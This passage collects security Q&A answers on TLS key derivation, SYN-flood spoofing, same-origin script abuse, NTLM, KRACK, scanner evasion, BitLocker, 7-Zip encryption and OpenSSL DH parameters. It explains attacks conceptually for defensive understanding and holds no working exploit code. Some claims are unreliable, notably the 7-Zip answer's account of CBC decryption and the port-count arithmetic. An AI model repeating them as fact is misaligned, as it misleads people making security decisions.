Nothing is repeated, and nothing directly uses the pre-master secret. Instead the pre-master secret is used with the 'random' (nonce) values from the Hello messages in an algorithm called the PRF (Pseudo-Random Function) to derive the master secret, and then the master secret is similarly used to derive several session keys. As the article says:

[the server] performs a series of steps (which the client also performs, starting from the same pre-master secret) to generate the master secret.
(bullet) Both the client and the server use the master secret to generate the session keys, which are symmetric keys used to encrypt and decrypt information exchanged during the SSL session and to verify its integrity [....]

Note the plural in 'session keys'. For some ciphersuites in TLS1.2, including the one you specified, the hash in the ciphersuite affects the PRF. For other ciphersuites, and all lower protocol versions, it does not. See What's the hash for in ECDHE-RSA-AES-GCM-SHA? .

The master secret is used with the cipher and hashing algorithm, to encrypt any further communication.

Each endpoint sends a message ChangeCipherSpec to 'activate' the ciphersuite and then a message Finished, which is the first encrypted (and MACed) message. As the article says:

The CLIENT & the SERVER send each other a message informing that future messages from them will be encrypted with the session key. It then sends a separate (encrypted) message indicating that its portion of the handshake is finished.

Nothing directly uses the master key. Symmetric (data) encryption uses two of the session keys (one for each direction). For ciphersuites that use HMAC for integrity (as in the article), it uses the hash algorithm from the ciphersuite (and two more session keys), but you specified a ciphersuite which uses GCM mode, which as ISMSDEV said provides its own authentication (not using any hash).


What is the purpose of using random IP addresses in SYN Flood Attack? What is the purpose of using random IP addresses in SYN Flood Attack?

A client opens a TCP connection by sending a SYN packet to a server. The server replies with a single SYN+ACK, and the client responds again with an ACK. Because of natural network latency, the server may wait a short time after sending SYN+ACK to the specified source address for an ACK reply, and this behavior is what a SYN flood exploits. Because the source address was spoofed, the reply will never come. If the server is waiting on enough fake connections that will never be completed, it will become unable to open any new connections, legitimate or not. This condition is called denial of service.

SYN flood attacks do not require the attacker receive a reply from the victim, so there is no need for the attacker to use its real source address. Spoofing the source address both improves anonymity by making it harder to track down the attacker, as well as making it more difficult for the victim to filter traffic based on IP. After all, if each packet used the same source address (whether spoofed or not), any decent firewall would quickly begin blocking all SYN packets from that address and the attack would fail.


What are the security risks when users upload their HTML and javascript to AWS S3 and the content is used in a webapp? I'm building this web app where users can login and build their own online presentation. To build the presentation they can use their own html, css and javascript. These user files are not uploaded to the server of the web app (where also the login using PHP sessions is done on a separate SSL domain) but the files are uploaded to Amazon S3. When a user wants to upload he needs an registered user account before they can start building and uploading. Every user have their own unique domain name on which they build and login.

The HTML files are being read by PHP and used in a template engine to build and show the public presentation page (sort of a website). The javascrpt is linked in the HTML.

Hope you can help me out! I'd like to know if this is a secure setup or are their any risks I need to solve. I've read a lot about different security issues and hope this setup solves a lot. Of course a user is self responsible for the public site, but I'm responsible for the central web app and like to know if they can hack the central system using the uploaded HTML and javascript

No, they can't "hack the central system" with HTML/JS (and definitely not CSS). If you gave them PHP access, you'd need to be careful, but normal HTML/JS/CSS is harmless for your server. Not so much for visitors, though. A malicious uploader can do stuff that will harm visitors to the site.

There's one thing that you may need to be careful about in this regard. It really depends upon your setup.

Let's say that the user-provided code is hosted on www.mydomain.com. Let's say that www.mydomain.com also has a login feature on the same server. As a real world example, lets say you own Facebook and are allowing folks to host HTML/JS files to a subdirectory (e.g. www.facebook.com/username/index.html or something similar). Now, if I visit www.facebook.com/eviluser/index.html, his JS has access to my account. Using AJAX, he can wreak havoc with my account. If there are any other websites with Access-Control Allow-Origin for www.facebook.com, and I am logged in on those as well, his JS can wreak havoc (via AJAX) there as well.

Basically, you need to be sure that all AJAX written by the user can do no harm to a visitor. The easiest way to do this is to host it on a domain where there is no "login" functionality whatsoever; so malicious JS has no session to abuse. Or prevent same-origin AJAX (Which probably isn't possible).

Another thing you must be wary of is your users using clickjacking/etc and getting your site blocked.


using network switches to prevent malicious promiscuous mode usage I was reading the wiki about promiscuous mode when I came across a piece of information here that suggests that one could use network switches to prevent malicious use of promiscuous mode.

In the context of an ethernet LAN, an attacker can sniff packets or perform ARP spoofing at the very least. I'm curious about how using a network switch can prevent either of these issues.

Promiscuous mode means telling an Ethernet card to record all packets that pass by, not just those addressed directly to it or broadcasts.

If that card is connected to a switch, however, then the switch normally only sends the card packets that are addressed directly to it (or to broadcast), so there's nothing else for the card to see.

I said normally because there are some circumstances where a switch sends other traffic out a particular port:

the switch admin might configure it to do that (e.g. so an IDS can monitor traffic)
the switch might do that if it is having problems (e.g. if it's not sure which port to send a packet to)

So you can't assume that just installing switches makes promiscuous mode go away completely as a threat; a determined attacker might attack the switch to try and make it do one of these things and send her host extra packets she can read with a promiscuous network card.

(And of course a determined attacked will do other things as well, such as attacking other bits of the network to make them send her packets they shouldn't.)

However, switches stop the casual user from using WireShark or Firesheep to poke about on the network; and in any case they offer other advantages, so most network managers have already upgraded to them.


Facebook Javascript SDK security issue? I am trying to embed facebook auth into my application.
My initial effort was to login in browser and obtain code. I pass this code back to my api and obtain access token (that stays with the server) and route all my requests to FB Api through my server. Seemed totally secure to me as my client has no information to be able to make authorized calls to FB as my app.

I however have been looking at FB Javascript SDK to avoid writing code for dialog opening and closing and noticed that it allows me to getLoginStatus and returns me the access token. Also, I went over FB auth flows in their documentation and they say that client-server hybrid flow is okay to do where server actually gives "Long lived access token" back to the client and advises me to use HTTPS (fair).

Now all this gets me thinking if this is a security concern. Can't I as a potential hacker inject some javascript into the user's webpage that could either a) make a getLoginStatus and get the access token or b) just get the access token by making a request to my api server and get the access token and then use that to post (assuming that user authorized my app to do so) to facebook as if my app was doing it?

I am a security newbie and maybe overlooking a bunch of stuff here but could someone help me understand what I'm missing?

Thanks in advance!

PS: I do know I can enable further security to ensure that I need the app secret every time I want to make a request which the client can't do as that information will never be available on client side.

I think the key here is that the access token returned client side is very short lived (10min). In that sense, I think session hijacking could be possible but then gives limited risk, similar to the normal session risk mitigation procedures for many auth systems.


I get a javax.net.ssl.SSLHandshakeException but my colleague does not, what could this mean? When trying to send an email over smtp with SSL in Java code I get the following exception:

  PKIX path building failed:
  sun.security.provider.certpath.SunCertPathBuilderException: unable to
  find valid certification path to requested target. Failed messages:
  javax.mail.MessagingException: Could not connect to SMTP host:

This would make sense if the SMTP server I am approaching used some self-signed certificate that I simply didn't import but I don't think that is the case, because when my colleague (in another country) runs the exact same code it works just fine.

What could this mean?

My laptop is compromised
My internet provider is doing something
fishy
Something else
All of the above

For the record, I'm living in Indonesia and there are some sites that are blocked.

I am able to ping, a password is needed for this smtp server, the settings are fine (it works for my colleague). I have tried this with both my VPN turned on and off.

If the SMTP server is using a self-signed certificate and you did not import the certificate as trusted this exception would be the expected one and something would be wrong (insecure) with your code if you would not get such an error. If instead the certificate should be signed by a public CA it might be a problem that you don't trust this CA in your code for some reason (unlikely), that you get a different CA then was sent by the server (i.e. SSL interception) or that the server is not properly setup and might be missing a chain certificate.

If it works for your colleagues you need to check with them what they do different. It might be that they get a different certificate then you if they have a different network connectivity (i.e. one without SSL interception vs. one with SSL interception). It might also be that they've explicitly imported the relevant certificate as trusted. Or it might be that they explicitly ignore certificate errors in their code. And while ignoring certificate errors is usually a terrible idea since it makes man in the middle attacks undetectable, it is still a commonly recommended workaround  by users which don't understand or don't care about security.


Multi-business data sharing and trust issues Is there a way to establish data sharing between multiple (a couple dozen) businesses where it is the case that some companies don't trust others?

This means that these companies are willing to share some their sensitive data with only select few, while not so sensitive data they are OK with sharing with all. (They can further restrict access to who sees it based on the sensitivity.) The data includes things like financial information, so one would want to aggregate all the sources of data they have access to to grasp the current situation.

That's pretty classical public-key infrastructure. All businesses have a secret private key, and a public key that matches that.

You can encrypt a dataset with the public key of a single business, and share it with all: only the owner of the matching private key can decrypt it.

If you now want to share something with many instead of single recipients, instead of encrypting the same data for every recipient, you could just generate a symmetric key (i.e. one that's the same for en- and decryption). That is much less data than the actual dataset – and then you just encrypt that single key separately for every single intended recipient, and encrypt the dataset with the single key.

There's even cooler cryptographic approaches to partial keys, but honestly, for "a couple dozen", this is plenty flexible.


Understanding NTLM Authentication Step by Step I was reading this link on ASP.Net Authentication and Authorization and these 5 steps were there explaining NTLM authentication.

Client sends the username and password to the server.
Server sends a challenge.
Client responds to the challenge with 24 byte result.
Servers checks if the response is properly computed by contacting the domain controller.
If everything is proper it grants the request.

Questions:

I am not able to understand what is happening after the client has sent the username and password. Especially the words "challenge" and "24 byte result"
Which encryption method is while sending username/password to the server?

Here is the wording from official source:

  The following steps present an outline of NTLM noninteractive
  authentication. The first step provides the user's NTLM credentials
  and occurs only as part of the interactive authentication (logon)
  process.

  (Interactive authentication only) A user accesses a client computer and provides a domain name, user name, and password. The
  client computes a cryptographic hash of the password and discards the
  actual password.
  The client sends the user name to the server (in plaintext).
  The server generates a 16-byte random number, called a challenge or nonce, and sends it to the client.
  The client encrypts this challenge with the hash of the user's password and returns the result to the server. This is called the
  response.
  The server sends the following three items to the domain controller:

  User name
  Challenge sent to the client
  Response received from the client

  The domain controller uses the user name to retrieve the hash of the user's password from the Security Account Manager database. It
  uses this password hash to encrypt the challenge.
  The domain controller compares the encrypted challenge it computed (in step 6) to the response computed by the client (in step 4). If
  they are identical, authentication is successful.

So the challenge is a server generated message that is encrypted with the hash of the account password by the client and by the DC and compared on DC.

Encryption methods are variable between versions of NTLM and different server settings.

Here's a bit from Wikipedia:

  Both LMv2 and NTv2 hash the client and server challenge with the NT
  hash of the user's password and other identifying information. The
  exact formula is to begin with the NT Hash, which is stored in the SAM
  or AD, and continue to hash in, using HMAC-MD5, the username and
  domain name.


Password shows as plaintext via burp suite interception for HTTPS request, is it an issue? While intercepting HTTPS using Burp and Burp's certificate is added to the browser, I intercepted a login request and the password shows as plaintext. Does this indicate a vulnerability or is it the expected behavior?

It's not a vulnerability.

Since the page transmits the password via HTTPS, it's encrypted before being sent on the network.

You allowed Burp to decrypt any encrypted traffic by adding their certificate into your trusted certificates store: that's the only reason why Burp is able to perform a man-in-the-middle attack and see the password in plaintext format.

Anyone else will only see encrypted traffic, and won't even be able to tell if a password is being transmitted.


How do I montior exactly what a program does? I would like to run some program, preferably in a sandbox, and see exactly what it does/did. I'm currently puzzled by disk access and network, since there's so much other stuff happening there at the same time.

I'm mostly curious about Windows, but also Mac, Linux and Android. Are there any good tools to sandbox/analyze a program?

My Windows "application analysis procedure" consists of the following (all freeware):

Windows virtual machine using VirtualBox to run the application.
Microsoft Network Monitor to analyze some basic network activities per application.
Wireshark to dig deeper into the packets.
TinyWatcher to take snapshots of before and after installing/running the application and "subtract" them to find out what exactly happened in the files, registry, and everything.

Please note that whole rig isn't for actual deep analysis but rather for analysis on a higher level.


OpenVPN vs. Closed Source We're getting push back from a third party (much larger company) over our decision to use OpenVPN to protect our AWS resources. Specifically, they're claiming that closed source is in general more secure than open source, a claim that is effectively addressed here. The consensus here and elsewhere seems to be that there's no advantage to either choice in general.

However, we're looking at a specific piece of software here, OpenVPN. Are there specific reasons why OpenVPN would be considered less secure than commercial VPN service alternatives?

OpenVPN is a trusted well used open source vpn application as you know. At the end of the day if your third party doesn't want to use it and you have no contractual power to decide the use of OpenVPN I don't see what people on here can do to help. You even link to recent audits yourself.


Consequences of the WPA2 KRACK attack Today new research was published on vulnerabilities in wireless network security called Krack.

What are the real-world consequences of these attacks for users and owners of wireless networks, what can an attacker actually do to you?

Also is there anything a wireless network owner can do apart from contact their vendor for a patch?

Citing the relevant parts from https://www.krackattacks.com:

Who is vulnerable?

Both clients and access points are listed in the paper as being vulnerable. See the tables 1 and 2 on pages 5 and 8 for examples of vulnerable systems, and table 3 on page 12 for an overview of which packets can be decrypted.

  The weaknesses are in the Wi-Fi standard itself, and not in individual products or implementations. Therefore, any correct implementation of WPA2 is likely affected. [...] the attack works against personal and enterprise Wi-Fi networks, against the older WPA and the latest WPA2 standard, and even against networks that only use AES.

What is the impact?

  adversaries can use this attack to decrypt packets sent by clients, allowing them to intercept sensitive information such as passwords or cookies.

  The ability to decrypt packets can be used to decrypt TCP SYN packets. This allows an adversary to [...] hijack TCP connections. [An adversary can thus inject] malicious data into unencrypted HTTP connections.

  If the victim uses either the WPA-TKIP or GCMP encryption protocol, instead of AES-CCMP, the impact is especially catastrophic. Against these encryption protocols, nonce reuse enables an adversary to not only decrypt, but also to forge and inject packets.

  our attacks do not recover the password of the Wi-Fi network

(Emphases mine.)

Can we patch it (and will we have incompatible APs/clients)?

There is a fix for both APs and clients, it doesn't matter which one you patch first.

  implementations can be patched in a backwards-compatible manner [...] To prevent the attack, users must update affected products as soon as security updates become available. [...] a patched client can still communicate with an unpatched access point, and vice versa.

However, both client and router must be patched (or confirmed secure):

  both the client and AP must be patched to defend against all attacks [...] it might be that your router does not require security updates. We strongly advise you to contact your vendor for more details [...] For ordinary home users, your priority should be updating clients such as laptops and smartphones.

How does it work?

  When a client joins a network, it [...] will install this key after receiving message 3 of the 4-way handshake. Once the key is installed, it will be used to encrypt normal data frames using an encryption protocol. However, because messages may be lost or dropped, the Access Point (AP) will retransmit message 3 if it did not receive an appropriate response as acknowledgment. [...] Each time it receives this message, it will reinstall the same encryption key, and thereby reset the incremental transmit packet number (nonce) and receive replay counter used by the encryption protocol. We show that an attacker can force these nonce resets by collecting and replaying retransmissions of message 3 of the 4-way handshake. By forcing nonce reuse in this manner, the encryption protocol can be attacked, e.g., packets can be replayed, decrypted, and/or forged.

Is there anything a wireless network owner can do apart from contact their vendor for a patch?

As mentioned, WPA-TKIP or GCMP are slightly worse, so make sure you use AES-CCMP for the lowest impact -- if your router allows you to choose that (many don't). Other than that, you can't truly mitigate it on a protocol level yourself. Just update as soon as possible.

Generally, use HTTPS for anything that needs to be secure (you should do this anyway, also over ethernet, but especially over Wi-Fi now), use a VPN as an extra layer, etc.


How to hide folders inside webroot from being identified? I have a library inside my webroot:

https://my-website.com/wp-content/my-library-i-want-to-hide

Accessing the url via a browser gives me the expected permission denied error. However, I want to make sure that that clients don't even know the library exists.

The solution I thought of was just renaming the library to a random string.
So, my the url to my library now looks something like this:

https://my-website.com/wp-content/asdasdas2232asd12890310283ß12

Is there any way for an attacker, without access to my server, to identify that such folder exists on my webserver and if yes, what's the best way to hide the folder?

Thank you very much!

This is probably going to be dependent on what server you're running and on which OS but this is one example of how to handle it.

You can capture the error response and send them to another page instead of returning error codes.

If I were implementing this I would send all errors to your index page. That way the attacker doesn't know if something's restricted, not there, broken etc. This also makes bruteforce scanning with dirb dirbuster and wfuzz a pain as they leverage response codes to identify pages. So if you always return a 200 status code then you effectively break using those tools.

  Custom error documents are configured using the ErrorDocument
  directive, which may be used in global, virtualhost, or directory
  context. It may be used in .htaccess files if AllowOverride is set to
  FileInfo.

- ErrorDocument 500 "Sorry, our script crashed. Oh dear"
- ErrorDocument 500 /cgi-bin/crash-recover
- ErrorDocument 500 http://error.example.com/server_error.html
- ErrorDocument 404 /errors/not_found.html
- ErrorDocument 401 /subscription/how_to_subscribe.html

  The syntax of the ErrorDocument directive is: ErrorDocument
  <3-digit-code>  where the action will be treated as: A local URL to redirect to (if
  the action begins with a "/").

  An external URL to redirect to (if the
  action is a valid URL). Text to be displayed (if none of the above).
  The text must be wrapped in quotes (") if it consists of more than one
  word.

  When redirecting to a local URL, additional environment variables are
  set so that the response can be further customized. They are not sent
  to external URLs.

For more information check out the documentation

https://httpd.apache.org/docs/2.4/custom-error.html

This is not a fix all for web bruteforcing. I wrote a script not long ago that leverages content length instead of status code. You can see how it works on GitHub

To defeat content length scanners I'd probably just include a hidden random string with a variable length in my index or error page.


How can you see the device history of a computer when doing forensics? I was reading this post on Slashdot which talks about the process of gathering evidence from a computer as part of an investigation. The post mentions being able to see the history of devices connected to a computer when doing forensics work, as well as which files were transferred to which devices:

  But as we dig deeper, we'll begin to look at devices that were
  connected to the operating system. We'll match up the devices in our
  possession with the ones recorded by the os. We'll look for behavioral
  patterns of file movements from the OS to the device and then back.

Is it possible to see device history and which files were transferred to a given device when doing computer forensics? If so, which tools allow you to see this?

I can answer the first part. At least on Windows 7, you can see USB device history to some extent by viewing the Registry key: HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\USBSTOR

See the screenshot for an example of the content. This would allow you to confirm if a particular USB device had been connected to a particular computer.

I am not aware of any mechanism native to windows that would allow someone to view file transfer history to USB drives, and I'd be very interested to find out!


Explicitly prohibit an intermediate CA certificate on OpenSSL How do you explicitly not trust a particular certificate (especially, CA certificate) for OpenSSL?

On NSS-based applications, one can install the cert with trustarg p: prohibited (explicitly distrusted). In this way, say we we have

  Verisign --->  Some_CA_I_dont_trust ---> ... ---> Some Site

I can remove trust of Some_CA_I_dont_trust without affecting others from Verisign.

However, it doesn't seem to be the case if I add a ! to the corresponding line in /etc/ca-certificates.conf and execute update-ca-certificates. OpenSSL happily accept the certificate even though intermediate CA is not on my system.

By trusting the Root CA you're trusting their judgement in who they sign.  As long as the intermediate CA is valid, not revoked, and you're trusting the Root CA... the chain will always be verified.  Other applications (such as FireFox) can add additional checks and functionality to check for untrusted intermediate certificates, but unless the application provides it it's not really part of the SSL/TLS specification.

To remove trusted root CAs you can perform the following:

update-ca-certificates updates /etc/ssl/certs by reading the /etc/ca-certicates.conf.  /etc/ca-certificates.conf is autogenerated by running sudo dpkg-reconfigure ca-certificates.

This will bring up a command GUI.

At the first prompt you have the option to say Yes/No/Ask for new certificates.  Click Ask
Now you'll be given a huge list of CAs with a * next to them.  Go down the list and remove the CAs you want by pressing spacebar.  The * will be removed.
When you're done press Enter.
This should trigger the updating of /etc/ssl/certs.  The CAs you've removed should be listed at the command prompt.

If you don't see something like this:

Processing triggers for ca-certificates ...
Updating certificates in /etc/ssl/certs... 0 added, 1 removed; done.
Running hooks in /etc/ca-certificates/update.d....
Removing debian:A-Trust-nQual-03.pem
done.
done.

Then I would then run sudo update-ca-certificates to ensure that /etc/ssl/certs is updated appropriately.

I performed all of this on a Debian based system.


Why do processes on servers have socket types associated to the port number? Why do some servers have TCP/UDP alongside the port they're listening to. To my understanding TCP and UDP are socket layers, they're methods of determining how the traffic is being sent over the network, so why would this be relevant when sending a request to a server. The port number should represent the process such as FTP, and when the client connects I should be able to choose TCP or UDP, depending on how I want the data transferred.

So why so some ports force a socket layer protocol?

Your understanding is flawed.

"Ports" are virtual. They exist above IP. A TCP port and a UDP port are two completely isolated things. It's not like there are just 2 << 16 available ports to be shared around.


I am always Hibernating my System, is there any risk for my Encrypted drive with BitLocker? I am Always Hibernating my Laptop, for faster booting, I encrypted sensitive drive by BitLocker, what if my Laptop stolen and attacker knew that it was in hybernate mode, can he decrypt my hard?

Using the old martial  art of  Google-Fu I managed to find these two comments on the first and second page after providing the search parameters: "Bitlocker hibernation".
From the Microsoft website:

What are the implications of using the sleep or hibernate power
management options? BitLocker on operating system drives in its
basic configuration (with a TPM but without advanced authentication)
provides additional security for the hibernate mode. However,
BitLocker provides greater security when it is configured to use an
advanced authentication mode (TPM+PIN, TPM+USB, or TPM+PIN+USB) with
the hibernate mode. This method is more secure because returning from
hibernation requires BitLocker authentication. As a best practice, we
recommend that sleep mode be disabled and that you use TPM+PIN for the
authentication method.

From the msdn website:

Use BitLocker Advanced Modes with Hibernation
Note: This is the
primary and most effective way to protect your system from DRAM
remanence and other platform attacks.
Platform attacks that access
encryption keys in DRAM obviously rely on those keys to be present in
DRAM.  As with all practical disk encryption approaches, these
encryption keys must exist in system memory in order to provide the
performance that makes disk encryption usable.
When BitLocker is
configured in its advanced modes, encryption keys are not loaded into
system memory until after the authorized user has provided credentials
like a PIN, dongle, or both.  An attacker without these credentials
will not be able to boot the system to a state where confidential
information – including encryption keys – are in DRAM.
There are some
caveats though; one is a very practical threat, the other less so. If
an attacker gains access to the system after the authorized user has
authenticated with their BitLocker credentials, but before its owner
turns it off or hibernates, the encryption keys are in DRAM and an
attacker could use one of the Princeton researchers’ ‘DRAM remanence’
attacks or other platform attacks such as direct memory access (DMA)
to gain access to those keys.
This is why it’s important when using
BitLocker’s advanced modes to use ‘hibernation’ rather than ‘sleep’.
To provide high-performance for sleep transitions, BitLocker does not
encrypt RAM contents nor does it require BitLocker re-authentication
when waking up from sleep. With hibernation, a system is effectively
‘off’, and keys will not be resident in physical memory (I’ll get to
the second caveat that discusses this shortly).  On resume from
hibernation, BitLocker will require the credentials I discussed
earlier, and without those credentials, encryption keys will not be
loaded into DRAM.
During design and implementation, the BitLocker
team worked with other teams within Microsoft to enable complete
control of system-suspend settings by local and domain administrators
through group policy. Instructions on how to configure this and other
BitLocker settings can be found in the design and deployment guides
available in BitLocker's online documentation.
Now let me address the
second caveat, which is less of a practical threat.  As described in
the Princeton researchers’ paper and elsewhere, DRAM may retain state
under normal temperatures for several seconds or a few minutes. If an
attacker gains access to a laptop within this window, they may be able
to access information located in DRAM. Again, the risk of an attacker
exploiting this is low relative to other platform threats.
Again, this
is the primary and most effective way to protect your system from DRAM
remanence and other platform attacks.


Security Implications of Caching Randomness Is it a bad idea to cache randomness in the general case? My feeling is yes, but I'm having a hard time articulating why.
Scenario:
A programming language of your choice (e.g. node) uses a native call to generate random bytes (e.g. for creating a uuid). It is very hard to predict the random bytes even with access to the operating system.
The call has overhead and to speed up execution time a memory cache is introduced. So instead of retrieving random bytes from the OS as they are needed (i.e. every time a uuid is needed), they are only retrieved when the cache is empty.
The random bytes are now in memory of the running program. In theory they can be accessed by inspecting the memory. In the general case (where this is done by a library and one has no idea how the randomness is being used), is this a bad idea? If so, why?
Disclaimer: I'm really looking for a good argument for this github issue https://github.com/uuidjs/uuid/issues/527 [~36m weekly downloads]

Assuming you have plenty of good, random bits, the pitfalls associated with caching randomness all stem from the potential for malicious access. That is, there isn't anything inherently wrong with caching randomness, however it creates a larger attack surface. If the developers have reason enough to believe that the memory is a safe storage location then this approach is safe.
One way of thinking about this is looking back at the historical use of the one time pad (OTP). OTP was used by militaries to encrypt and decrypt messages and is still considered unbreakable to this day. The codes in this case were stored on paper (analogous to your cache). However, the rules required for this process to be unbreakable include:

The key must be truly random.
The key must be at least as long as the plaintext.
The key must never be reused in whole or in part
The key must be kept completely secret.

As long as you can guarantee the same for your cached random bytes, then the randomness is fine.


Are 7-Zip password-protected split archives safe against hackers when they are password-protected a couple of times? Imagine I wish to upload my sensitive personal information (photos, document scans, list of passwords, email backups, credit card information, etc.) on Google Drive (or any other cloud service).

I want to make sure this entire bunch of data is as safe as possible (against hackers that would in some way get their hands on this data, and against Google and its employees, and also in the future, i.e. if I delete this data from Google I want to be sure they won't be able to 'open' it even if they keep its backup forever).

So in this case instead of uploading all this data right away to the cloud, I will instead make one folder containing all the data I want to upload, and then I will compress this entire folder using 7-Zip and of course password-protect it using 7-Zip.

I will do this not once, but a few times, i.e. once I have the 7-Zip password-protected archive ready, I will compress it once again using 7-Zip and use a completely different password. I will do this five times. So in the end my data is compressed five times and it has been password-protected using 7-Zip by five completely different unrelated passwords. So in order to get to my data I have to extract it five times and provide five different passwords.

What I will then do is that, I will take this five-times-password-protected archive, and I will compress it once again using 7-Zip and yet a different sixth password, but in addition to that this time I will also choose to split the archive into smaller chunks.

Let's say in the end I end up with 10 split archives, where each of them is a 200 MB archive except the 10th one being only a 5 MB archive.

The assumption is, all those six passwords are at least 32-character passwords and they are completely unrelated and they all contain lower/upper case, numbers, and symbols.

Now I take those nine 200 MB archives and put them in one container and encrypt the container using VeraCrypt (assuming the three level cascade encryption) and then upload this container to my Google Drive.

I keep the 10th archive (the 5 MB one) on a completely different service (say on Dropbox -- and that Dropbox account is in no way connected/linked to my Google account at all) (also encrypted by VeraCrypt).

- Have I created a security theater? Or have I really made it impossible for anyone to access and extract my data? After all they have to pass one level of encryption by VeraCrypt and even after that the archives are six times password protected and one of the archives (the tenth one) is stored somewhere else!

- If someone gets access to my Google Drive and downloads all those nine archives, is there any way for them to extract the archive without having the last (the tenth) 5 MB archive? Can the data in any way be accessed with one of the split-archives missing?

- Even if someone gets their hand on all those 10 archives together and manages to bypass the VeraCrypt encryption in any way, will it be still feasible to break the six remaining passwords?

First of all, that multi-encryption scheme is ridiculous.

The algorithm used by 7-Zip is AES-256 which is considered secure. But if someone would find a flaw in it which would make it breakable, then they would likely be able to break all your encryption layers with equal effort.

So either you trust the encryption algorithm used by 7-Zip, then one application would be good enough. Or you don't trust it, then you would do another encryption pass with a different algorithm. Layering the same algorithm multiple times often doesn't have as much effect as one would think, as the meet-in-the-middle attack on Triple-DES demonstrated.

Regarding splitting up an encrypted file: It is often possible to rescue some data from a 7-Zip archive if parts of the archive are missing. 7-Zip uses AES in CBC mode to emulate stream-cipher behavior (every 128-bit block is combined with the previous 128 bit block). That means if someone is missing a part of the message, they can't decrypt anything which follows (unless they have a known plaintext somewhere), but everything which comes before it. That means if you want to prevent an attacker from decrypting the archive by withholding a part of it, you need to withhold the first chunk, not the last one.


Boot-sector virus - can it spread only through floppy disks? Do boot-sector viruses spread only through floppy discs, and so are the thing of the past, or can they spread through USB, removable hard drives etc?

Techopedia states:

  The propagation of boot sector viruses has become very rare since the decline of floppy disks. Also, present-day operating systems include boot-sector safeguards that make it difficult for boot sector viruses to infect them.

No. Viruses can infect any commonly used bootable media.

The spread of this type of viruses became thwarted (in addition to better protection mechanisms) because of a change in media usage patterns.

Floppy disks in their golden age were used as a medium for live OS (booting and running), software distribution and for data exchange.

Nowadays you use:

non-removable hard disks
write-once read-many optical media (like CDs, DVDs, DVD-Rs)
USB drives

Although you can still boot an OS from either of this media, they perform different functions. This alone (not by enforcement, but by convenience) made the propagation of boot sector viruses rare, despite still being technically possible.

For a boot sector virus to spread you must insert a clean bootable media into an infected machine and later use the media to boot another machine.

This is extremely rare case for HDDs (non-USB) as you don't use them for software distribution or data exchange.

In case of optical media, they can be used to spread viruses, but they don't allow for cascading spread of a boot-sector viruses like with floppies.

USB usage pattern makes them most vulnerable of the three, but still it is relatively rare case to boot from USB. And USB media require special attention anyway, so additional procedural measures are taken.


Can speculative execution on intel cpu be disabled? In the light of all the recent Intel Vulnerabilities with speculative execution, can speculative execution be fully disabled to protect from all this vulnerabilities, from BIOS or OS kernel?

Maybe stupid question, but is it possible?

No, it's not possible. Supporting a feature like that would require major changes to the microarchtiecture. Also disabling speculative execution is not the right approach so solve the problem. Speculative execution is so critical for performance, but it can be performed more securely, which is what likely will happen in successor microarchtiectures.


How to describe RC4 'bias' to non-tech people I'm looking for the 'plain English' version of 'bias' as used in the context of the RC4 weakness.

I know that RC4 generates a string of psuedorandom bits over, for instance, http(s) traffic.  If you encrypt mostly the same data with this, there is little change in what you're encrypting, and this allows for similarities in your output.  So, part of your strings will look the same, and may even be repeating what you've seen before.

Can I use 'similarities in your output' or 'parts of strings that repeat themselves' as a translation for 'bias' in this context, or is there a better explanation?

I think explaining the weakness in RC4 to a non-technical audience would be very similar to explaining the role of randomness in crypto to a similar audience.

Let's say I want my army to attack at dawn, so I encrypt the message "attack at dawn," generate a ciphertext c_0, and send it to my army, who then attacks my enemy at dawn. Great.

Next week, I want to attack at dawn again. So I use a different key and encrypt my message "attack at dawn" again, to generate a ciphertext c_1, which I then said to my army. Imagine I do this n times to produce n ciphertexts.

If my enemy can read the messages I send, he will look for patterns (biases) in the messages I send right before my army attacks at dawn. If there is something similar with all these messages (e.g. they all start with a "?" character), my enemy might be able to guess that any message beginning with "?" corresponds to "attack at dawn." However, if you can't find any pattern in the ciphertexts, the enemy learns nothing about your communication.

The weakness in RC4 lies in the fact that the same message encrypted with different keys produces ciphertexts that have common patterns (statistical biases). These are usually much more subtle than beginning with the same character, but the point is the same.


What are the OpenSSL standard Diffie Hellmann parameters (primes)? I recently generated some custom Diffie Hellmann parameters which are basically just long (in the below case 4096 bit) primes. Those are then used in the key exchange process.

I used the following command:

openssl dhparam -rand – 4096

Now I really wonder what OpenSSL actually does if I do not generate these parameters on my own.

As the generation took roughly 2 hours it cannot be something that is generated on the fly - at least not of equal strength? So I wonder, is there a standard configuration or what does OpenSSL actually do in this case? (I couldn't find much clear and helpful information yet)

I also wonder how much the increased security actually is comparing the standard with self generated primes, what is the difference in length of the primes.

Thanks

Update 15.06.2015

Looks like it makes sense to generate your own DH params:

Bruce Schneier - The Logjam (and Another) Vulnerability against Diffie-Hellman Key Exchange

The behaviour of OpenSSL, as a library, is documented in the man page for SSL_CTX_set_tmp_dh_callback(). Basically, the library itself contains no pre-generated DH parameters and will refuse to do any "DHE" handshake until such parameters have been provided. The caller (the application which uses OpenSSL for running an SSL server) may provide DH parameters preemptively (either "attached" to the structure containing the server's certificate, or with an explicit SSL_CTX_set_tp_dh() call), or through a callback function which will be invoked for each relevant handshake. The callback method gives the application the opportunity to modulate the DH parameters, in particular their size, based on the cipher suite and other parameters currently being negotiated (this was important for proper support of the old "export" cipher suites, but is much less relevant nowadays).

OpenSSL, as a piece of C code, also comes with command-line applications. E.g. you can run a SSL server with openssl s_server. Inspection of the apps/s_server.c source file shows that, unless overridden with explicit DH parameters (the -dhparam option, or appended in the server's certificate file), default parameters are used, with a 512-bit modulus (!). The provenance of this modulus is unspecified; but it cannot be considered to be really strong since a 530-bit discrete logarithm has been solved at least once.

Note that the apps/ directory also contains files named dh512.pem, dh1024.pem, dh2048.pem and dh4096.pem, which are DH parameters of 512, 1024, 2048 and 4096 bits, respectively. These apparently come from SKIP, an old protocol for IPsec-related key management, for which I found an old draft, which indeed contains the 1024-bit and 2048-bit modulus that OpenSSL source code contains as the dh1024.pem and dh2048.pem files. Interestingly (or not), the 512-bit modulus used by apps/s_server.c is NOT the same as the one in dh512.pem.

